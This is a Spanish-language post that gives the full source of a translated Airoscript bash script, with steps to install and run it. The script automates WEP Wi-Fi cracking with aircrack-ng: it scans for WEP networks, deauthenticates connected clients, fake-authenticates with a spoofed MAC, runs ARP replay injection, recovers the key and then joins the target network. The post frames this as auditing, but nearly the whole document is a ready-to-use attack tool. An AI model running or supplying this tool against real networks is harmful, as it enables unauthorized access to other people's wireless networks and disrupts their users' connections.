El siguiente script, nos sirva, para que una vez que tengamos nuestra suite aircrack-ng instalada y

nuestro driver parcheado para la reinyeccion de paquetes, nos facilite de un modo impresionante ( sera
un juego de niños ), la utilización de la suite aircrack, dado que con la utilizacion de este script,
verificar si una wireless es segura, testeando y scando su contraseña, sera cuestion de 15 minutos.
Para instalar el spcript … haga lo siguiente :
Abra una consola y teclee :
gedit airoscript-sp.sh
( se abrira un fichero de texto vacio .. pues bien copie y pegue el siguiente script sin incluir las lineas )
#! /bin/sh
# Program: Airoscript
# Author: Daouid
# Date: 21.08.2006
# Version: 1.7 RC2
# Dependencies: aircrack-ng 0.6, xterm (needs an X Window System), grep, awk, drivers
capable of injection.
# Traduccion realiza por: thefkboss

# Este es la tarjeta que quieres usar para el ataque

# Si no la fijas, airoscript te preguntara cual usar
WIFI=”"
# Estos son los paquetes que se inyectaran por segundo
INJECTRATE=”1000″
# Cuantas veces quieres realizar el ataque
DEAUTHTIME=”5″
# Tiempo entre reasociaciones periodicas con el AP
AUTHDELAY=”25″
# Valor del Fudge factor
FUDGEFACTOR=”2″
# Path to binaries
AIRMON=”airmon-ng”
AIRODUMP=”airodump-ng”
AIREPLAY=”aireplay-ng”
AIRCRACK=”aircrack-ng”
# Directorio donde se guardan los datos(La carpeta debe existir!)
DUMP_PATH=”/tmp”
# MAC que se usara por defecto para hacer asociacion falasa al AP
FAKE_MAC=”00:01:02:03:04:05″
# Ponlo a 1 para hacer el debugging del script
DEBUG=”0″
CHOICES=”1 2 3 4 5 6 7 8 9 10 11 12 13 14 15″

#########################################
# Functions
function monitor_interface {
IS_MONITOR=`$AIRMON start $WIFI |grep monitor`
clear
echo $IS_MONITOR
}
function setinterface {
INTERFACES=`iwconfig | grep ESSID | awk ‘{ print $1 }’| grep -v lo | grep -v inet*`
clear
if [ $WIFI = ]
then
echo “Elige la tarjeta que quieres usar:”
echo ” ”
select WIFI in $INTERFACES; do
break;
done
clear
echo “Tarjeta: $WIFI”
else
clear
fi
}
function debug {
clear
if [ $DEBUG = 1 ]
then
echo “Debug Mode On”
echo ” ”
HOLD=”-hold”
clear
else
HOLD=”"
clear
fi
}
function Scan {
clear
rm -rf $DUMP_PATH/dump*
xterm $HOLD -title “Escaneando objetivos” -geometry 100×50+0+0 -bg “#000000″ -fg
“#D7C5FF” -e $AIRODUMP –ivs -w $DUMP_PATH/dump -c 0 $WIFI
}
function clientdetect {
clear
rm -rf $DUMP_PATH/dump*
xterm $HOLD -title “Escaneando objetivos” -geometry 100×50+0+0 -bg “#000000″ -fg
“#D7C5FF” -e $AIRODUMP –ivs -w $DUMP_PATH/dump -c $Host_CHAN $WIFI &
xterm $HOLD -geometry 84×25+0+600 -bg “#000000″ -fg “#F2FF00″ -title “Enviando
paquetes de deautentificación a: $Host_MAC” -e $AIREPLAY –deauth $DEAUTHTIME
-a $Host_MAC $WIFI
}
function Scanchan {
GetAnswer ()
{
prompt=$1
echo -n $prompt
read answer
return $answer
}
echo ” ”
GetAnswer “Que canal deseas escanear? ==> _”
channel_number=$?
clear
rm -rf $DUMP_PATH/dump*
xterm $HOLD -title “Escaneando objetivos en canal $channel_number” -geometry
100×50+0+0 -bg “#000000″ -fg “#D7C5FF” -e $AIRODUMP –ivs -w
$DUMP_PATH/dump -c $channel_number $WIFI
}
function Parseforap {
HOST=`cat $DUMP_PATH/dump-01.txt | grep WEP | awk ‘{ print $1 $6 $16}’| grep -v
00:00:00:00:00:00| grep -v 00:00:00:00:00| grep -v 00:00:00:00`
clear
echo “Seleciona objetivo”
echo “”
select TARGET in $HOST;
do
export Host_MAC=` echo $TARGET | awk ‘{
split($1, info, “,” )
print info[1] }’ `
export Host_CHAN=` echo $TARGET | awk ‘{
split($1, info, “,” )
print info[2] }’ `
export Host_SSID=` echo $TARGET | awk ‘{
split($1, info, “,” )
print info[3] }’ `
break;
done
}
function Parseforap2 {
HOST=`cat $DUMP_PATH/dump-01.txt | grep WEP | awk ‘{ print $1 $6 $17}’| grep -v
00:00:00:00:00:00| grep -v 00:00:00:00:00| grep -v 00:00:00:00`
clear
echo “Seleciona objetivo”
echo “”
select TARGET in $HOST;
do
export Host_MAC=` echo $TARGET | awk ‘{
split($1, info, “,” )
print info[1] }’ `
export Host_CHAN=` echo $TARGET | awk ‘{
split($1, info, “,” )
print info[2] }’ `
export Host_SSID=` echo $TARGET | awk ‘{
split($1, info, “,” )
print info[3] }’ `
break;
done
}
function choosewep {
while true; do
clear
echo “”
echo “Como es tu objetivo en airodump-ng? (WEP or WEP?)”
echo “”
echo “1) WEP ”
echo “2) WEP?”
read yn
echo “”
case $yn in
1 ) Parseforap2 ; break ;;
2 ) Parseforap ; break ;;
* ) echo “respuesta desconocida. Prueba otra vez” ;;
esac
done
}
function choosescan {
while true; do
clear
echo “Airodump se abrirar en una nueva ventana nueva, pulsa ctrl+c cuando hallas
encontrado el/los objetivo(s)”
echo “”
echo “Quieres escanear en un solo o en varios canales?”
echo “”
echo “1) Alternando canales ”
echo “2) Especifica canal ”
read yn
echo “”
case $yn in
1 ) Scan ; break ;;
2 ) Scanchan ; break ;;
* ) echo “respuesta desconocida. Prueba otra vez” ;;
esac
done
}
function choosetarget {
while true; do
clear
echo “”
echo “Quieres especificar un cliente ahora?”
echo “”
echo “1) Si ”
echo “2) No ”
echo “3) Intentar detectar un cliente asociado ”
read yn
echo “”
case $yn in
1 ) askclientsel ; break ;;
2 ) break ;;
3 ) clientdetect && clientfound ; break ;;
* ) echo “respuesta desconocida. Prueba otra vez” ;;
esac
done
}
function clientfound {
while true; do
clear
echo “”
echo “Has encontrado un cliente conectado?”
echo “”
echo “1) Si ”
echo “2) No ”
read yn
echo “”
case $yn in
1 ) listsel2 ; break ;;
2 ) break ;;
* ) echo “respuesta desconocida. Prueba otra vez” ;;
esac
done
}
function choosedeauth {
while true; do
clear
echo “”
echo “Que tipo de deautentificacion quieres ?”
echo “”
echo “1) Todo el mundo ”
echo “2) Yo mismo ”
echo “3) Cliente legitimo”
read yn
echo “”
case $yn in
1 ) de_auth ; break ;;
2 ) de_auth_fake ; break ;;
3 ) de_auth_client ; break ;;
* ) echo “respuesta desconocida. Prueba otra vez” ;;
esac
done
}
function attacktype {
while true; do
clear
echo “”
echo “Quiers realizar el atque usando una mac falsa o de un cliente legitimo?”
echo “”
echo “1) MAC falsa”
echo “2) Cliente legitimo”
echo “3) Ataque interactivo usando cliente legitimo”
echo “4) Atauqe interecativo usando MAC falsa”
read yn
echo “”
case $yn in
1 ) attack ; break ;;
2 ) attackclient ; break ;;
3 ) interactiveattack ; break ;;
4 ) fakeinteractiveattack ; break ;;
* ) echo “respuesta desconocida. Prueba otra vez” ;;
esac
done
}
function askclientsel {
while true; do
clear
echo “”
echo “Quieres selecionar el cliente de una lista o introducir su MAC manualmente?”
echo “”
echo “1) Detectar clientes ”
echo “2) Manualmente ”
read yn
echo “”
case $yn in
1 ) asklistsel ; break ;;
2 ) clientinput ; break ;;
* ) echo “respuesta desconocida. Prueba otra vez” ;;
esac
done
}
function clientinput {
echo -n “OK, intoduce la MAC del cliente: ”
read Client_MAC
echo You typed: $Client_MAC
set — ${Client_MAC}
}
function asklistsel {
while true; do
clear
echo “”
echo “Quieres usar los clientes de la lista de asociados ?”
echo “”
echo “1) Lista completa (Todas las MAC detectadas, incluyendo Host)”
echo “2) Solo clientes asociados(Cliente concetado a esta SSID : $Host_SSID)”
read yn
case $yn in
1 ) listsel1 ; break ;;
2 ) listsel2 ; break ;;
* ) echo “respuesta desconocida. Prueba otra vez” ;;
esac
done
}
function listsel1 {
HOST=`cat $DUMP_PATH/dump-01.txt | grep “0.:..:..:..:..” | awk ‘{ print $1 }’| grep -v
00:00:00:00`
clear
echo “Selecciona cliente para reinyeccion ARP ”
echo “”
select CLIENT in $HOST;
do
export Client_MAC=` echo $CLIENT | awk ‘{
split($1, info, “,” )
print info[1] }’ `
break;
done
}
function listsel2 {
HOST=`cat $DUMP_PATH/dump-01.txt | grep $Host_MAC | awk ‘{ print $1 }’| grep -v
00:00:00:00| grep -v $Host_MAC`
clear
echo “Selecciona cliente para reinyeccion ARP”
echo “”
echo “El/los cliente(s) que aparecen a continuacion estan conectados a ==> “$Host_SSID
echo “”
select CLIENT in $HOST;
do
export Client_MAC=` echo $CLIENT | awk ‘{
split($1, info, “,” )
print info[1] }’ `
break;
done
}
function cleanup {
killall -9 aireplay-ng airodump-ng > /dev/null &
ifconfig rausb0 down
cardctl eject
sleep 2
cardctl insert
ifconfig rausb0 up
$AIRMON start $WIFI $channel_number
iwconfig $WIFI
}
function attack {
rm -rf $DUMP_PATH/$Host_SSID*
xterm $HOLD -title “Capturando IVs de $Host_SSID” -geometry 84×25+0+0 -bg
“#000000″ -fg “#D7C5FF” -e $AIRODUMP –ivs -c $Host_CHAN $WIFI -w
$DUMP_PATH/$Host_SSID & xterm $HOLD -title “Inyectando” -geometry 82×25-0+0
-bg “#000000″ -fg “#1DFF00″ -e $AIREPLAY $WIFI –arpreplay -b $Host_MAC -h
$FAKE_MAC -x $INJECTRATE & xterm $HOLD -title “Asociando con: $Host_SSID”
-geometry 82×25-0-0 -bg “#000000″ -fg “#FF0009″ -e $AIREPLAY –fakeauth
$AUTHDELAY -e $Host_SSID -a $Host_MAC -h $FAKE_MAC $WIFI & xterm $HOLD
-title “Hemos sido expulsados de: $Host_SSID” -geometry 84×25+0-0 -bg “#000000″ -fg
“#F2FF00″ -e $AIREPLAY –deauth $DEAUTHTIME -a $Host_MAC -c $FAKE_MAC
$WIFI
}
function attackclient {
rm -rf $DUMP_PATH/$Host_SSID*
xterm $HOLD -title “Capturando IVs de $Host_SSID with Airodump” -geometry
84×25+0+0 -bg “#000000″ -fg “#D7C5FF” -e $AIRODUMP –ivs -c $Host_CHAN $WIFI
-w $DUMP_PATH/$Host_SSID & xterm $HOLD -title “Inyectando : $Host_MAC
CLient : $Client_MAC” -geometry 82×25-0+0 -bg “#000000″ -fg “#1DFF00″ -e
$AIREPLAY $WIFI –arpreplay -b $Host_MAC -h $Client_MAC -x $INJECTRATE &
xterm $HOLD -title “Espulsando $Client_MAC from : $Host_SSID” -geometry 84×25+0-0
-bg “#000000″ -fg “#F2FF00″ -e $AIREPLAY –deauth $DEAUTHTIME -a $Host_MAC
-c $Client_MAC $WIFI
}
function de_auth {
xterm $HOLD -geometry 84×25+0+600 -bg “#000000″ -fg “#F2FF00″ -title “Enviando
paquete de deautentificacion a: $Host_MAC” -e $AIREPLAY –deauth $DEAUTHTIME -a
$Host_MAC $WIFI
}
function de_auth_fake {
xterm $HOLD -geometry 84×25+0+600 -bg “#000000″ -fg “#F2FF00″ -title “Hemos sido
expulsados de : $Host_SSID” -e $AIREPLAY –deauth $DEAUTHTIME -a $Host_MAC -c
$FAKE_MAC $WIFI
}
function de_auth_client {
xterm $HOLD -geometry 84×25+0+600 -bg “#000000″ -title “Kicking $Client_MAC
from: $Host_SSID” -fg “#F2FF00″ -e $AIREPLAY –deauth $DEAUTHTIME -a
$Host_MAC -c $Client_MAC $WIFI
}
function fckauth {
xterm $HOLD -geometry 82×25+600+600 -bg “#000000″ -fg “#B60626″ -title “Asociado
con $Host_SSID usando $FAKE_MAC” -e $AIREPLAY –fakeauth $AUTHDELAY -e
$Host_SSID -a $Host_MAC -h $FAKE_MAC $WIFI
}
function interactiveattack {
rm -rf $DUMP_PATH/$Host_SSID*
xterm $HOLD -title “Capturando IVs de $Host_SSID” -geometry 84×25+0+0 -bg
“#000000″ -fg “#D7C5FF” -e $AIRODUMP –ivs -c $Host_CHAN $WIFI -w
$DUMP_PATH/$Host_SSID & xterm $HOLD -title “Enviando paquete interactivo a :
$Host_SSID” -geometry 82×25-0+0 -bg “#000000″ -fg “#1DFF00″ -e $AIREPLAY $WIFI
–interactive -b $Host_MAC -d FF:FF:FF:FF:FF:FF -x $INJECTRATE -t 1 -f 0 -m 68 -n 68
& xterm $HOLD -title “Expulsando $Client_MAC from : $Host_SSID” -geometry
84×25+0-0 -bg “#000000″ -fg “#F2FF00″ -e $AIREPLAY –deauth $DEAUTHTIME -a
$Host_MAC -c $Client_MAC $WIFI
}
function fakeinteractiveattack {
rm -rf $DUMP_PATH/$Host_SSID*
xterm $HOLD -title “Capturando IVs de $Host_SSID” -geometry 84×25+0+0 -bg
“#000000″ -fg “#D7C5FF” -e $AIRODUMP –ivs -c $Host_CHAN $WIFI -w
$DUMP_PATH/$Host_SSID & xterm $HOLD -title “Enviando paquete interactivo a Host:
$Host_SSID” -geometry 82×25-0+0 -bg “#000000″ -fg “#1DFF00″ -e $AIREPLAY $WIFI
–interactive -b $Host_MAC -d FF:FF:FF:FF:FF:FF -x $INJECTRATE -t 1 -f 0 -m 68 -n 68
& xterm $HOLD -title “Asociación falsa” -geometry 82×25-0-0 -bg “#000000″ -fg
“#FF0009″ -e $AIREPLAY –fakeauth $AUTHDELAY -e $Host_SSID -a $Host_MAC -h
$FAKE_MAC $WIFI & xterm $HOLD -title “Hemos sido expulsados de : $Host_SSID”
-geometry 84×25+0-0 -bg “#000000″ -fg “#F2FF00″ -e $AIREPLAY –deauth
$DEAUTHTIME -a $Host_MAC -c $FAKE_MAC $WIFI
}
function crack {
xterm $HOLD -geometry 84×25+0-0 -bg “#FFFFFF” -title “Aircracking este Access Point
$Host_SSID” -hold -e $AIRCRACK -a 1 -b $Host_MAC -x1 -f $FUDGEFACTOR -0
$DUMP_PATH/$Host_SSID-01.ivs
}
function menu {
echo “1. Scan ==> Lanzar escaner para localizar objetivos”
echo “2. Select ==> Selecionar obejtivo: Host y Clientes”
echo “3. Attack ==> Lanzar ataque”
echo “4. Crack ==> Empezar a busacar WEP key con aircrack”
echo “5. Configure ==> Configurar PC para usar WEP key encontrada y DHCP”
echo “”
echo “6. Associate ==> Intentar asociar al AP usando Cliente falso”
echo “7. Deauth ==> Desconectar cliente(s) del obejtivo”
echo “8. Reset ==> Resetear tarjeta (pcmcia socket)”
echo “9. Monitor ==> Activar modo monitor usando airmon-ng”
echo “10. Salir ”
echo ” ”
}
function target {
echo “Seleccionar cliente ==> “$Host_SSID
echo “Usar esta MAC ==> “$Host_MAC
echo “esta en el canal ==> “$Host_CHAN
}
function configure {
$AIRCRACK -a 1 -b $Host_MAC -x1 -f $FUDGEFACTOR -0
$DUMP_PATH/$Host_SSID-01.ivs &> $DUMP_PATH/$Host_SSID.key
KEY=`cat $DUMP_PATH/$Host_SSID.key | grep KEY | awk ‘{ print $4 }’`
echo “Usar esta $KEY para conectar a: $Host_SSID”
echo “”
echo “Estableciendo: iwconfig $WIFI mode Managed”
iwconfig $WIFI mode Managed
echo “Estableciendo: iwconfig $WIFI essid $Host_SSID”
iwconfig $WIFI essid $Host_SSID
echo “Estableciendo: iwconfig $WIFI key $KEY”
iwconfig $WIFI key $KEY
echo “Estableciendo: dhcpcd $WIFI”
dhcpcd $WIFI
echo “Ahora hara ping a google.com”
ping www.google.com
}
#########################################
# Main Section
clear
setinterface
debug
menu
select choix in $CHOICES; do
if [ “$choix” = “1″ ]; then
choosescan
clear
menu
echo “Airodump cerrado, usa la opcion 2 para seleccionar objetivo”
echo ” ”
elif [ “$choix” = “2″ ]; then
choosewep
clear
choosetarget
target
echo “Selecciona cliente ==> “$Client_MAC
echo ” ”
menu
elif [ “$choix” = “3″ ]; then
attacktype
clear
echo “Comenzando ataque seleccionado:”
target
echo “Selecciona cliente ==> “$Client_MAC
sleep 2;
menu
elif [ “$choix” = “4″ ]; then
echo “Ejecutando aircrack, si aircrack shell se cierra de repente, usalo de nuevo con mas
IVs”
crack
menu
elif [ “$choix” = “5″ ]; then
configure
menu
elif [ “$choix” = “6″ ]; then
 echo launching fake auth commands
fckauth & menu
elif [ “$choix” = “7″ ]; then
choosedeauth
menu
elif [ “$choix” = “8″ ]; then
echo “Reseteara la tarjeta pcmcia y finalizara todos los procesos de airodump-ng and
aireplay-ng ”
cleanup
menu
elif [ “$choix” = “9″ ]; then
monitor_interface
menu
elif [ “$choix” = “10″ ]; then
echo Script terminated
exit
else
clear
menu
echo ” ”
echo “Valor erroneo, Intentalo de nuevo sin usar guantes de boxeo = vamos que en vez de
dedos tienes morcillas (coña inglesa Opa….) ”
echo ” ”
fi
done
#END

Ahora, guarde el fichero en un directorio, y cierre el editor, ya solo tendremos ke darle al fichero
permisos de ejecucion, para lo que teclearemos, desde consola y dentro del diretorio donde este el
script, lo siguiente :
sudo chmod +x airoscript-sp.sh
Una vez hecho esto, ejecutamos el programa, y mucho ojo .. si tenemos UBUNTU 6.10, nuestra shell,
estara en bash, por lo que el programa deberemos ejecutarlo de la siguiente forma :
- Abrimos una consola y nos situamos en el directorio del script.
Activamos la tarjeta en modo monitor: ** estoy hay que hacerlo antes siempre
airmon-ng start wifi0 ( con esto se activa un dispositivo virtual en modo monitor )
bash airoscript-sp.sh ( con esto se ejecutara el script )
* Si nuestra tarjeta de red es generalmente la ath0, la primera orden, lo que hace es crear un ath1, en
modo monitor, pra que cuando ejecutemos el script ( 2 orden ), seleccionemos como interface el que
esta en modo monitor en este caso ath1, y asi lo tendremos todo listo para auditar.
Espero os sea de utilidad, lo cierto es que el script, esta muy currado y es muy util, ya explicare en otro
post, como usarlo si teneis dudas.